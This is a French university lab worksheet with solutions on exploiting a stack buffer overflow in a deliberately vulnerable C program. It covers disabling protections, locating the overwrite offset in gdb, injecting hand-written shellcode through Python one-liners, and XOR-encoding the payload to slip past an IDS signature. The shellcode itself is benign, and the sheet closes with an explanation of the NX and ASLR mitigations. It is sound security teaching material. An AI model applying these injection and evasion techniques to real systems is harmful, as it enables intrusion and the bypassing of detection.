TP 2 : Exploitation de *buffer overflow*(correction)

Romain CARRÉ
romain.carre@cea.fr

1 Environnement de travail

- installez `gcc`, `gdb` et `execstack` à l'aide de votre gestionnaire de paquets habituel.
- munissez-vous également d'un interpréteur de scripts comme `python` ou `perl`.

```
sudo apt-get install gcc gdb execstack python
```

- récupérez le fichier `vuln.c` sur la clef USB de votre encadrant

```
wget ftp://ftp.cea.fr/incoming/y2k01/uvsqsecu/vuln.c
```

- désactivez la randomisation d'adresses grâce à la commande suivante (en root).

```
echo 0 > /proc/sys/kernel/randomize_va_space
```

2 Détection et première exploitation

- parcourez le code source de `vuln.c`, et mettez en évidence la vulnérabilité.
  La vulnérabilité est un *buffer overflow* induit par l'usage de la fonction `gets`.
- compilez le code en lançant ces deux commandes. expliquez chaque paramètre.

```
gcc -Wall -m32 -fno-stack-protector -mpreferred-stack-boundary=2 vuln.c
execstack -s a.out
```

`-Wall`	: affiche tous les warnings issus de la compilation
`-m32`	: compile et link pour une architecture 32 bits
`-fno-stack-protector`	: n'implémente pas de système de protection de pile
`-mpreferred-stack-boundary=2`	: alignement par défaut des données dans la pile
`-s`	: marque la pile du binaire comme exécutable

- de quoi `gcc` vous prévient-il avec un *warning* ? ca vous rappelle quelque chose ?

```
/tmp/ccWIbYXV.o: In function `ask_me_im_famous':
vuln.c:(.text+0xd): warning: the `gets' function is dangerous and should not be used.
```

  `gcc` nous prévient que nous ne devrions pas utiliser la fonction `gets`.
  Ca rappelle la mise en garde présente dans le cours, tout simplement ! :)
- testez le programme normalement. décrivez chaque étape de son fonctionnement.
  1. il affiche `'Tapez votre prénom :'`
  2. il attend que l'on tape quelque chose au clavier
  3. il affiche `'Bonjour !'`
- vérifiez qu'il est vraiment vulnérable en provoquant une erreur de segmentation.

```
python -c "print '-' * 100" | ./a.out
Segmentation Fault
```

3 Exploitation *proof-of-concept*

- analyser les fichiers de *core dump* va s'avérer utile pour la suite : utilisez la commande `ulimit` pour que chaque crash de notre programme en génère un.

```
ulimit -c 1024
```

– faites crasher le programme à nouveau, avec une entrée spécialement formatée pour déterminer la longueur du *payload* nécessaire à l'écrasement d'`eip`.
(il est conseillé d'utiliser votre langage de script préféré pour y parvenir)

```
python -c "print '-' * (64+4) + 'AAAA'" | ./a.out
```

– utilisez `gdb` avec le fichier *core dump* pour valider la longueur de votre *payload*, et profitez-en pour récupérer la valeur du registre `esp` juste avant le crash.

```
Core was generated by './a.out'.
Program terminated with signal 11, Segmentation fault.
#0  0x41414141 in ?? ()
(gdb) disas ask_me_im_famous
Dump of assembler code for function ask_me_im_famous:
0x080483f4 <ask_me_im_famous+0>:        push   %ebp
0x080483f5 <ask_me_im_famous+1>:        mov    %esp,%ebp
0x080483f7 <ask_me_im_famous+3>:        sub    $0x44,%esp
0x080483fa <ask_me_im_famous+6>:        lea    -0x40(%ebp),%eax
0x080483fd <ask_me_im_famous+9>:        mov    %eax,(%esp)
0x08048400 <ask_me_im_famous+12>:       call   0x804830c <gets@plt>
0x08048405 <ask_me_im_famous+17>:       leave
0x08048406 <ask_me_im_famous+18>:       ret
End of assembler dump.
(gdb) b *0x08048400
Breakpoint 1 at 0x8048400
(gdb) run
Starting program: ./a.out
Tapez votre prénom :

Breakpoint 1, 0x08048400 in ask_me_im_famous ()
(gdb) print $esp
$1 = (void *) 0xffffd2f8
```

On retiendra donc : 72 pour la longueur du payload, et `0xffffd2f8` pour `esp`.

– pourquoi la valeur de ce registre est-elle utile (indice : que fait l'instruction `RET`) ?
L'instruction `RET` est équivalente à `POP eip` : elle récupère sur le sommet de la pile le pointeur d'instruction `eip` précédemment pushé par l'instruction `CALL` qui a servi à entrer dans la fonction. La valeur d'`esp` ainsi récupérée sert à calculer la valeur relative de l'`eip` que nous allons écraser pour exploiter le *buffer overflow*.

– la valeur d'`esp` juste avant le crash peut aussi être récupérée via `dmesg`.
`[9476.093814] a.out[3713]: segfault at 41414141 sp ffffd3a4 error 14`

– o_O ? que remarquez-vous ? comment expliqueriez-vous cette différence ?
La valeur d'`esp` n'est en effet pas tout à fait identique ! En réalité, nous avons vu en cours que dans l'espace mémoire du processus se trouvent aussi toutes les variables d'environnement qui ont servi à son contexte au moment du chargement. Cet environnement prend de la place en mémoire, mais il n'est absolument pas transmis au processus par `gdb` lorsque l'on utilise la commande `run`.

– en considérant la taille totale de votre *payload* et l'adresse du pointeur de pile obtenu, rédigez un *payload* qui ne fait que quitter le programme prématurément avec un code d'erreur de votre choix. **validez son fonctionnement complet !**
(aidez-vous du pense-bête des instructions assembleur ci-joint)

On veut exécuter (à `0xd3a4 - 72 = 0xd35c`) :

```
6A 01 58   mov eax, 1    # syscall = exit;
6A 2A 5B   mov ebx, 42   # status = 42;
CD 80      int 0x80      # return syscall(args);
```

```
python -c "print '\x6A\x01\x58\x6A\x2A\x5B\xCD\x80'.ljust(68,'\x90') + '\x5C\xD3\xFF\xFF'" | ./a.out
echo $?
42
```

– **attention**, rappelez-vous que vous exploitez une vulnérabilité à travers une fonction qui traite des chaînes de caractères (consultez la page de manuel de la fonction en question). quelle est la conséquence directe de cette particularité sur le *payload* ?
La conséquence immédiate, c'est qu'on ne peut pas utiliser de `\x0A` ou de `\x00` dans le *payload*, car la fonction `gets` arrête sa lecture si un de ces caractères est rencontré (voir la page de manuel). Ainsi, le *payload* ne serait pas recopié en entier dans la pile. Il faut donc trouver des *alias* aux instructions usuelles pour effectuer les mêmes actions, sans utiliser ces caractères spéciaux.
Dans le cas précédent, par exemple, nous avons remplacé l'instruction d'affectation `mov` par un couple `push/pop`, tout aussi efficace. C'est une ruse assez simple !

4 Exploitation avec évasion d'IDS

– en utilisant la même technique que précédemment, rédigez un *payload* qui stoppe l'exécution du programme après avoir écrit le mot `hacked!` sur la sortie d'erreur.

On veut exécuter :

```
6A 04 58     mov eax, 4          # syscall = write ;
6A 02 5B     mov ebx, 2          # fd = stderr ;
8D 4C 24 CF  lea ecx, [esp-49]   # buf = esp - 49 ;
6A 07 5A     mov edx, 7          # count = 7 ;
CD 80        int 0x80            # return syscall(args) ;
6A 01 58     mov eax, 1          # syscall = exit ;
6A 01 5B     mov ebx, 1          # status = 1 ;
CD 80        int 0x80            # return syscall(args) ;
68 61 63 6B  db 'hack'           # 'h', 'a', 'c', 'k' ;
65 64 21     db 'ed!'            # 'e', 'd', '!' ;
```

L'offset à l'intérieur du `lea` s'explique par le fait que l'offset de début de *payload* est `esp` - 72, et que la longueur effective de la charge utile est de 23 octets.

```
python -c "print '\x6A\x04\x58\x6A\x02\x5B\x8D\x4C\x24\xCF\x6A\x07\x5A\xCD\x80\x6A\x01\x58
               \x6A\x01\x5B\xCD\x80hacked\x21'.ljust(68,'\x90') + '\x5C\xD3\xFF\xFF'" | ./a.out
hacked!
```

– imaginez qu'un système de détection d'intrusion (`http://fr.wikipedia.org/wiki/HIDS`) dispose d'une signature pour cette chaîne de caractères, comme ils disposent habituellement d'une signature de reconnaissance pour `/bin/sh` à travers un appel à *exec*. donnez un exemple simple de technique pour que l'IDS ne bloque pas votre tentative d'exploitation de la vulnérabilité ? implémentez-la.
On peut simplement `XOR`er la chaîne de caractères !
On commence le code par dé`XOR`er :

```
83 74 24 D9 01   xor [esp-39], 1   # déXORage ;
83 74 24 DD 01   xor [esp-35], 1   # déXORage ;
...
```

```
python -c "print '\x83\x74\x24\xD9\x01\x83\x74\x24\xDD\x01
               \x6A\x04\x58\x6A\x02\x5B\x8D\x4C\x24\xD9\x6A\x07\x5A\xCD\x80\x6A\x01\x58
               \x6A\x01\x5B\xCD\x80iackdd\x21'.ljust(68,'\x90') + '\x5C\xD3\xFF\xFF'" | ./a.out
hacked!
```

Notez que la nouvelle chaîne est `'iackdd'`, donc l'IDS ne trouve plus cela anormal.

– imaginez des mécanismes plus complexes d'obfuscation de *payload*. décrivez-les.
Le *payload* pourrait être chiffré en partie, tout sauf le début (aussi appelé « premier étage ») qui serait chargé du déchiffrement. La clef pourrait par exemple être récupérée par le réseau, pour éviter de la stocker directement en clair dans le binaire, et ainsi empêcher le *reverse-engineering* et l'exécution proprement dite.

– si vous aviez manqué de place dans le buffer d'arrivée, comment auriez-vous très simplement résolu le problème ? n'y a-t-il aucune limite à la taille du *payload* ?
Au lieu d'écrire au début du *buffer*, nous aurions pu le considérer comme une zone de *padding* dans la pile, et commencer à injecter du code **après** l'endroit où l'on écrase l'adresse de retour. La taille du *payload* sera quand même néanmoins toujours limitée par la taille de la section du binaire allouée à la pile de celui-ci. La pile a une taille fixe, et il n'est pas possible de la dépasser sans que le système n'intervienne et envoie un `SIGKILL` au processus. Dans ces cas-là, peut-être faudra-t-il transformer le *stack buffer overflow* en *heap buffer overflow*.

– en tant qu'attaquant, quel genre de payload plus utile injecteriez-vous ? selon vous, existe-t-il des outils permettant d'automatiser toutes les étapes de cette procédure ?
Un attaquant pourrait vouloir **exécuter d'autres processus** sur la machine, **obtenir un shell**, ou même **ouvrir un port en écoute** sur la machine pour s'y connecter *a posteriori* (un peu comme avec une *backdoor*). Dès lors que la vulnérabilité est exploitée, les possibilités de compromissions sont quasi infinies (en fonction toujours des droits accordés sur le système à l'utilisateur qui fait tourner le programme vulnérable). `Metasploit` est un exemple d'outil qui automatise une grande partie des étapes de ce TP. (`http://www.metasploit.com/download/`)

Expliquez enfin en quoi la non-exécutabilité de la pile et la randomisation des adresses empêche dans la majeure partie des cas l'exploitation des failles de type *buffer overflow* ?

Si la pile n'est jamais positionnée à la même adresse, et qu'en plus son contenu n'est pas exécutable, on ne peut ni savoir avec quelle adresse écraser l'`eip`, ni exécuter les instructions placées intentionnellement dans le *buffer*. L'exploitation n'est plus possible directement de cette manière. Mais peut-être y'a-t-il d'autres moyens ... :)

`http://en.wikipedia.org/wiki/Return-oriented_programming`
`http://en.wikipedia.org/wiki/Return-to-libc_attack`

Bonne lecture, et bonnes révisions !